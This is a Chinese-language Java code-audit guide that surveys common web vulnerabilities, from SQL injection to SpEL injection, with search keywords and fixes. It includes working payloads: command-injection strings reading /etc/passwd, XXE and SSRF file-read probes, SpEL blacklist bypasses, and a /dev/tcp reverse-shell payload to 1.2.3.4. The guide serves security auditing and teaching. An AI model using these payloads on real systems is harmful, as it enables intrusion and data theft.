JAVA代码审计总结

**1.**代码审计思路

1.1 逆向追踪,或叫回溯变量

一般是检查敏感函数的参数, 然后回溯变量, 判断变量是否可控并且没有经过严格的过
滤, 这是一个逆向追踪的过程。
根据敏感函数来逆向追踪参数的传递过程,另外非函数使用不当的漏洞如sql注入,
可以根据sql语句的特征来分析是否存在漏洞,像HTTP_CLIENT_IP和
HTTP_X_FORWORDFOR等获取ip的地址没有经过过滤直接拼接到sql语句中,并且它们
是在$_SERVER变量中不受GPC影响。
优点 : 只需要搜索相应敏感关键字, 即可以快速地挖掘想要的漏洞, 具有可定向挖掘和高
效, 高质量的优点。
缺点 : 由于没有通读代码, 对程序的整体框架了解不够深入, 在挖掘漏洞时定位利用点会
花费一点时间, 另外对逻辑漏洞挖掘覆盖不到

1.2 正向追踪,或叫跟踪变量

先找出哪些文件在接收外部传$$入的参数, 然后跟踪变量的传递过程, 观察是否有变量传
入到高危函数里面, 或者传递的过程中是否有代码逻辑漏洞, 这是一种正向追踪的方式,
这样的挖掘方式比逆向追踪挖掘得更全,但可能没有逆向追踪快。

1.3 直接挖掘功能点漏洞

根据自身的经验判断该类应用通常在哪些功能中会出现漏洞, 直接全篇阅读该部分功能代
码。

1.4 通读全文

回溯参数这种方法并不是和运用在企业中做安全运营时的场景, 在企业中做自身产品的代
码审计时, 我们需要了解整个应用的业务逻辑, 才能挖掘到更多更有价值的漏洞, 一般这
种方法对新手难度可能有点大,老手一般喜欢这种方法。
通读全文的方法

  1. index 文件, index是一个程序的入口文件, 所以通常我们只要读一读index文件就可以大致了解整个程序的架构, 运行的流程, 包含的文件, 建议最好先将几个核心目录的index文件都简单读一遍。
  2. 函数集文件, 一般在index文件中都会包含函数集文件, 通常命名为functions, common等关键字, 这些文件里面都是一些公共的函数, 提供给其他文件统一调用。
  3. 配置文件, 通常命名中包括config 关键字,里面包含一些功能性配置选项以及数据库配置信息, 还可以注意下参数值是用单引号还是双引号, 如果是双引号, 则很可能会存在代码执行漏洞; 还需要关注以下数据库编码。
  4. 安全过滤文件, 文件过滤文件对我们做代码审计至关重要, 关系到我们挖掘到的可疑点能不能利用, 通常命名中有 filter, safe, check 等关键字, 这类文件主要是对参数进行过滤。
    优点 : 可以更好地了解程序的架构以及业务逻辑, 能够挖掘到更多, 更高质量的逻辑漏
    洞, 一般老手会喜欢这种方式。 而缺点就是花费的时间比较多, 如果程序比较大, 读起来
    会比较累。

2、常见漏洞代码审计

2.1 SQL注入

2.1.1 java中的SQL语句执行方式
复制代码
JDBC 中的 java.sql.Statement
JDBC 中的 java.sql.PrepareStatement
Hibernate
MyBatis
2.1.2 常见注入类型

参数动态拼接
预编译错误
order by 注入
%/_模糊查询
#{} / {} 这里注意 **#{}**使用的是预编译,基本不会有问题;存在问题的是 **{}**

2.1.3 代码审计方法及思路(SQL注入)
2.1.3.1关键词

Statement
createStatement
PrepareStatement
like "%S{
in ({} select udpate insert 这里用 **in**带入 **#{}**和 **{}**均会变成 like,而 like无法使用 **#{}查询(会报错)**只能用 ${} (可能存在问题)

2.1.3.2常见

关键词搜索,找到关键词周围是否安全调用外部变量、是否有过滤。
若没有,查看调用栈找到其引用位置。若引用存在外部可控变量,则大概率有

2.1.3.3二次注入

若存在注册、登录位置存在注入,可以注册包含特殊字符、SQL语句的用户名,登录查看用
户信息可导致二次注入

2.2文件上传

2.2.1 文件上传方式

文件流方式上传

ServletFileUpload
MultipartFile

2.2.2 代码审计方法及思路(文件上传)
2.2.2.1关键词
复制代码
org.apache.commons.fileupload
java.io.File
MultipartFile
RequestMethod
MultipartHttpServletRequest
CommonsMultipartResolver
2.2.2.2常见

关注上传表单的代码段
关键词搜索,查看调用栈;其中注意上传文件后置名效验、文件类型黑白名单、 Content-Type、黑白名单、(若为图片)图片库检测

说白了文件上传的问题在于对文件效验,常见问题如下:

1.未对文件做任何过滤

2.尽在前端进行 JS 过滤

3.只判断了 Content-Type

4.后缀过滤不全

5.读取后缀方式错误
读取文件后缀代码为

复制代码
//获取真实后缀,避免上传文件有多个文件后缀名
//安全写法,函数为 fileName.lastIndexOf
String Suffix = fileName.substring(fileName.lastIndexOf("."));
//不安全写法
String Suffix = fileName.substring(fileName.IndexOf("."));

2.3 XSS

js 获取用户输入信息 request.getParameter(param) / ${param}

2.3.1 常见标识
复制代码
1.JSP 表达式: request.getParameter(param)
2.EL
c:out 可以直接通过 . 访问属性
c:if 判断表达式,为true继续执行
c:forEach 类似for循环迭代输出标签内部的内容
3.ModernAndView 类: ${参数} 获取值
4.ModelMap 类
Model.addAttribute("key", somepath) spring的,是java.util.Map实现的;第二个参数可以使java的任意类型
5.Model 类
Model.addAttribute("result","后台返回") 接口类,通过attribute 获取数据,存储数据域范围是 requestScope 【这个是指变量值在本次请求内有效】
2.3.2 关键词
复制代码
${
<c:out
<c:if
<c:forEach
ModelAndView
ModelMap
Model
request.getParameter
request.setAttribute
response.getWriter().print()
response.getWriter().writer()
2.3.3 两种 XSS 类型及代码审计思路
2.3.3.1反射性 XSS

关键词搜索,找到数据交互点,判断是否可控及输出位置

2.3.3.2存储型 XSS

关键词搜索,找到对应路由(web.xml)明确对应类;若有存储数据库,找到连接数据库操
作代码并查找查询位置

2.3.3.3修复手段

1.全局过滤器
见到filter、xssrequestwrapper 以及一大堆过滤 scriptPattern.matcher().replace / Pattern.compile 这种替换匹配就别想了
2.安全应用程序接口
ESAPI/谷歌的xssProtect
3.HTML实体编码

2.4目录穿越

问题在于没有校验文件名是否存在 ../ 特殊字符及用户访问文件限制。本质问题是路径可
控,spring先看路由

2.4.1 关键词
复制代码
Path
path
System.getProperty("user.dir")
java.io.File
FileInputStream
file.read(
filePath
2.4.2 代码审计思路

搜索关键词

2.4.3 修复手段

1.文件名过滤
2.检测路径是否合法

2.5 URL重定向

2.5.1 URL重定向

需要注意连接中是否存在 return、redirect、url、jump、goto、target、link 等参数值,也
可以搜搜全局路由
1.ModelAndView
2.返回String
3.sendRedirect
4.RedirectAttribute
进行参数拼接,redirectAttribute.addAttribute("id", "2") 拼接前为 a.com/test/index 拼接后为a.com/test/index?id=2
5.设置Header
这里会设置状态码,提一嘴
response.setStatus(HttpServletResponse.SC_MOVED_TEMPORARILY) 会设置状态码301永久重定向是SC_MOVED_PERMANENTLY 302临时重定向是 SC_MOVED_TEMPORARILY

2.5.2 代码审计思路
2.5.2.1关键词
复制代码
new ModelAndView(
return new ModelAndView(
@RequestParam(
redirectAttribute
addAttribute
return "redirect:/
getParameter
setHeader
redirect
sendRedirect
ModelAndView
Location
addAttribute

关键词搜索,spring同样先看路由

2.5.3 修复手段

1.控制跳转域名,最好在源码写为固定值
2.设置只能根据路径跳转

2.6命令执行

代码未对用户可控参数做过滤、用户可控执行命令的参数,将恶意命令拼接到正常命令中解

2.6.1 命令执行方法
java 复制代码
1.Java.lang.ProcessBuilder.start()
2.Java.lang.Runtime.getRuntime.exec()
**2.6.1.1 ProcessBuilder.start()**执行命令

start() 函数执行时并未获取shell。若执行命令需要先调用shell。
ls;id -> /bin/sh -c "ls;id"

**2.6.1.2 getRuntime.exec()**执行命令

exec() 函数有6个重载【这个知识星球P神代码审计 java安全漫谈-02反射篇也提到过。该文
只提到了最简单的 String 类型直接拿 command,这里详细说了字符串和数组不同重载的
区别及如何使用】

2.6.1.2.A String

exec("ping -t 127.0.0.1") 可以成功,但包含 ; 、> 、 | 、空格等特殊拼接字符就报错。
调用链

java 复制代码
exec()
-> exec(command, null, null)
    ->exec(String command, String[] envp, File dir)
        ->StringTokenizer st = new StringTokenizer(command)
    //关键函数
    //跟进 StringTokenizer 函数
public StringTokenizer(String str){
    this(str, " \t\n\r\f ", false)
}

跟进 StringTokenizer 函数可以看到发现 \t\n\r\f会对传入字符进行分割,返回 cmdarrary 数组

String command = "/bin/sh -c "ping -t 3 127.0.0.1;id"";
经处理变为下面,无法执行
String[] command = {"/bin/sh", "-c", ""ping", "-t", "3", "127.0.0.1;id", """;}

2.6.1.2.B数组型

数组型未使用 StringTokenizer 函数,直接调用 ProcessBuilder 执行 {"/bin/sh", "-c", "ping -
t 3 127.0.0.1;id";} 可正常执行

2.6.1.2.C 参数可控

参数即为 getRuntime.exec(cmd) 中的 cmd 可控,例如在 iwebsec 靶场中的示例
127.0.0.1/exec/index.jsp?ip=127.0.0.1;ls 尾部带 ;ls 可被传入当做命令执行。举例如下,可
参考 2.6.1.2.D 区分

java 复制代码
String ip = request.getParameter("ip");
try{
String[] command = {"/bin/sh", "-c", "ping -t 3" + ip}
    Process proc = Runtime.getRuntime.exec(command)
    ......
2.6.1.2.D命令可控

命令可控个人理解为 getRuntime.exec(command) 可直接使用外部传参,传什么就执行什么。

java 复制代码
String cmd = request.getParameter(cmd);
try{
    Process proc = Runtime.getRuntime.exec(cmd)
    ......
2.6.1.2.E Payload构造

Payload指字符型,数组型直接使用ProcessBuilder执行命令
2.6.1.2.A 提到过 StringTokenizer 函数进行分割无法执行命令,故:

cmd=ls;cat /etc/passwd 报错
cmd=sh -c ls;id 成功
cmd=sh -c ls;cat /etc/passwd 报错
第三个报错的原因是需要找到替换空格字符绕过 StringTokenizer函数,如 {IFS} 、IFS9 等。 但是 RFC 规定 url 只能包括英文字母(a-z、A-Z)、数字(0-9)、"-_.\~" 四个特殊字符,{} 会导致错误。 需要对 { } 进行url编码,即可成功执行 cmd=sh -c ls;cat /etc/passwd cmd=sh -c ls;cat{IFS}/etc/passwd
cmd=sh%20-c%20ls;cat$%7BIFS%7D/etc/passwd

2.6.2 关键词
bash 复制代码
getParameter()
ProcessBuilder()
.start()
Runtime.getRuntime.exec()
2.6.3 修复手段

1.避免使用 getRuntime
2.过滤输入的恶意字符

2.7 XXE

未禁止外部实体加载导致加载外部文件或代码,导致使用file或FTP协议读文件

2.7.1 常见解析XML的方法

1.XMLReader
2.SAXBuilder
3.SAXReader
4.SAXParserFactory
5.Digester
6.DocumentBuilderFactory
其中前5个默认有XXE漏洞,DocumentBuilderFactory是一个抽象工厂类,无法直接实例化,但提供的 newInstance() 方法会自动加载默认安装的解析器,创建工厂对象并返回。

2.7.2 代码审计思路

关键词搜索

2.7.2.1关键词
java 复制代码
XMLReaderFactory.createXMLReader()
xmlReader.parse()
SAXBuilder()
SAXReader()
SAXParserFactory.newInstance()
.newInstance()
newSAXParser()
Digester
digester.parse()
DocumentBuilderFactory
.newDocumentBuilder()
.parse()
2.7.2.2常见Payload

POST提交
常见payload,需要替换XXE节点

XML 复制代码
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<xxe>&file;</xxe>

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<user><username>&file;</username><password>admin</password></user>
2.7.3 修复手段

使用XML解析器配置相关属性:禁用DTD/禁用外部实体

java 复制代码
//一般修复方案
obj.setFeature("https://apache.org/xml/features/disallow-doctype
decl", true);
obj.setFeature("http://xml.org/sax/features/extrenal-general
entities", false);
obj.setFeature("http://xml.org/sax/features/extrenal-parameter
entities", false);

不同解析库修复手段不同,需要注意 DocumentBuilderFactory中第二句必须写在第一句后面,不然没有作用

java 复制代码
dbf.setFeature();
DocumentBuilder builder =- dbf.newDocumentBuilder();

2.8 SSRF

通过程序给定远程获取文件、图片的接口使用file协议实现读敏感文件或撸内网
1.获取内网主机、端口和banner
2.攻击内网应用程序,如jboss、Redis
3.file协议读文件
4.可使内网程序溢出

2.8.1 java中的SSRF

java中的SSRF仅仅可以实现 sun.net.www.protocol 下的协议:http、https、file、ftp、mailto、jar、netdoc
且传入的URL协议必须和重定向之后的URL协议一致
对于无回显的文件读取可使用FTP协议进行外带读取
可以通过burp的 collaborator 或者 dnslog尝试
详见印象笔记:
SSRF详细利用方式及getshell
Burp之Collaborator使用技巧
查询的实验更多是目标服务器PHP通过伪协议能连上VPS,详见印象笔记两篇文章:
【漏洞学习------SSRF】腾讯某处SSRF漏洞(非常好的利用点)附利用脚本Fly鹏程万里-CSDN
博客
SSRF在有无回显方面的利用及其思考与总结 - 先知社区

2.8.2 代码审计思路
2.8.2.1常见接口

SSRF常出现的功能点有:社交分享、远程图片加载**/**下载、文件或图片收藏、转码、通
过网址在线翻译、网站采集、从远程服务器请求资源等
需要留意 url 中的 url、f、file、page等参数,因此需要重点查找代码中能够发起http请求
的功能或函数

2.8.2.2常见HTTP请求类及函数
java 复制代码
HttpURLConnection.getInputStream
URLConnection.getInutStream
HttpClient.execute
OkHttpClient.newCall.execute
Request.Get.execute
Request.Post.execute
URL.openStream
ImageIO.read

上述方法均可发起HTTP请求,但想SSRF且满足使用 sun.net.www.protocol下的协议,
仅仅只有 URLConnectionURL

2.8.2.3导致SSRF的错误写法
java 复制代码
1.URLConnection
2.HttpURLConnection
3.Request
4.openSteam
5.HttpClient

均为没有过滤的默认情况会导致SSRF

2.8.2.4关键词
java 复制代码
HttpURLConnection.getInputStream
URLConnection.getInutStream
HttpClient.execute
OkHttpClient.newCall.execute
Request.Get.execute
Request.Post.execute
URL.openStream
ImageIO.read
getInutStream
getParameter()
openConnection
HttpURLConnection
Request.Get()
returnContent()
.openStream()
getOutputStream()
client.execute()
2.8.2.5基础测试Payload

针对无过滤且有回显的SSRF,直接GET请求通过file协议服务文件

java 复制代码
// 文件读取
/ssrf/urlconnection?url=file:///etc/passwd
// 列目录
/ssrf/urlconnection?url=file:///etc
// 内网探测
/ssrf/urlconnection?url=http://127.0.0.1:81
2.8.3 修复手段

1.正确处理302(不直接禁止302,对跳转地址重新检查)
2.限制只能为 HTTP/HTTPS
3.设置内网内名单(判定内网IP、获取host)
4.内网防火墙设置常见web端口白名单
常见正确写法

java 复制代码
if(!Pattern.matches("^https?:///*/.*$", finalUrl)){
    return false; //只允许http/https协议
}
if(isInnerIp(url){
    return false; //判断是否为内网IP
}

2.9 SpELl表达式注入

2.9.1 SpEL 相关库

该漏洞存在需要 SpEL 相关库,可以对库关键词搜索上溯检查参数是否可控,相关关键词如
下:

java 复制代码
org.springframework.expression.spel.standed
SpelExpressionParser
parseExpression
expression.getValue()
expression.setValue()
ExpressionParser
SpelExpressionParser
StandardEvaluationContext
2.9.2 常见问题出处
2.9.2.1 StandardEvaluationContext

Spring框架提供两个接口:StandardEvaluationContext 和 SimpleEvaluationContext。其中 SimpleEvaluationContext 仅支持SpEL语法的子集,而 StandardEvaluationContext 包含了全部 SpEL的功能,且若不指定 EvaluationContext ,默认使用StandardEvaluationContext

2.9.2.2未校验

程序未校验用户输入直接通过解析引擎传给SpEL解析

2.9.3 检测/绕过PoC
2.9.3.1检测PoC
java 复制代码
${666*666}
T(Thread).sleep(10000)
T(java.lang.Runtime).getRuntime().exec('command')
T(java.lang.Runtiem).getRuntime().exec("nslookup baidu.com")
new java.lang.ProcessBuilder("command").start()
new java.lang.ProcessBuilder("nslookup baidu.com").start()
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('ns
lookup baidu.com')
2.9.3.2绕过黑名单校验思路及PoC
2.9.3.2.A反射**+**关键字拆分
java 复制代码
#
{T(String).getClass.forName("java.lang.Runtime").getMethod("exec",T
(String[])).invoke(T(String).getClass.forName("java.lang.Runtime").
getMethod("getRuntime").invoke(T(String).getClass().forName("java.l
ang.Runtime")), new String[]{"/bin/bash", "-c", "command"})}
// 拆分 java.lang.Runtime
#
{T(String).getClass.forName("java.la"+"ng.Run"+"time").getMethod("e
x"+"ec",T(String[])).invoke(T(String).getClass.forName("java.l"+"an
g.Ru"+"ntime").getMethod("getR"+"untime").invoke(T(String).getClass
().forName("java.lan"+"g.Ru"+"ntime")), new String[]{"/bin/bash",
"-c", "command"})}
2.9.3.2.B利用 ScriptEngineManager构造
java 复制代码
s=[3];
s[0]='/bin/bash';
s[1]='-c';
s[2]='exec 5<>/dev/tcp/1.2.3.4/5678;cat <&5 | while read line; do
$line 2>&5 >&5;done';
java.lang.Runtime.getRuntime().exec(S);"
#
{T(javax.script.ScriptEngineManager).newInstance().getEngineByName(
"nashorn").eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec
5<>/dev/tcp/1.2.3.4/5678;cat <&5 | while read line; do $line 2>&5
>&5;done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(S);")}
2.9.4 修复手段

使用 SimpleEvaluationContext

2.10反序列化

2.10.1 关键词
java 复制代码
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

除开这些还可以看看class path中是否有 ysoserial 中的Dependencies

相关推荐
小杨勇敢飞2 小时前
拼图小游戏开发日记 | Day3(已完结)
java·数据结构·算法
她说..3 小时前
Redis项目应用总结(苍穹外卖/黑马头条/乐尚代驾)
java·数据库·redis·缓存·消息队列·redisson·geo
摇滚侠3 小时前
Java进阶教程,全面剖析Java多线程编程,多线程和堆内存栈内存的关系,笔记20
java
zwhy03113 小时前
TCP服务器设计思路
linux·服务器·网络
小猪绝不放弃.3 小时前
一张图入门 Docker
java·开发语言
唐僧洗头爱飘柔95273 小时前
【SpringCloud(1)】初识微服务架构:创建一个简单的微服务;java与Spring与微服务;初入RestTemplate
java·spring·spring cloud·微服务·架构·resttemplate·java微服务技术栈
月疯4 小时前
JAVA和FLASK实现参数传递(亲测)
java·开发语言·flask
一只小松许️4 小时前
深入理解 Rust 的内存模型:变量、值与指针
java·开发语言·rust
A阳俊yi4 小时前
Spring——事件机制
java·后端·spring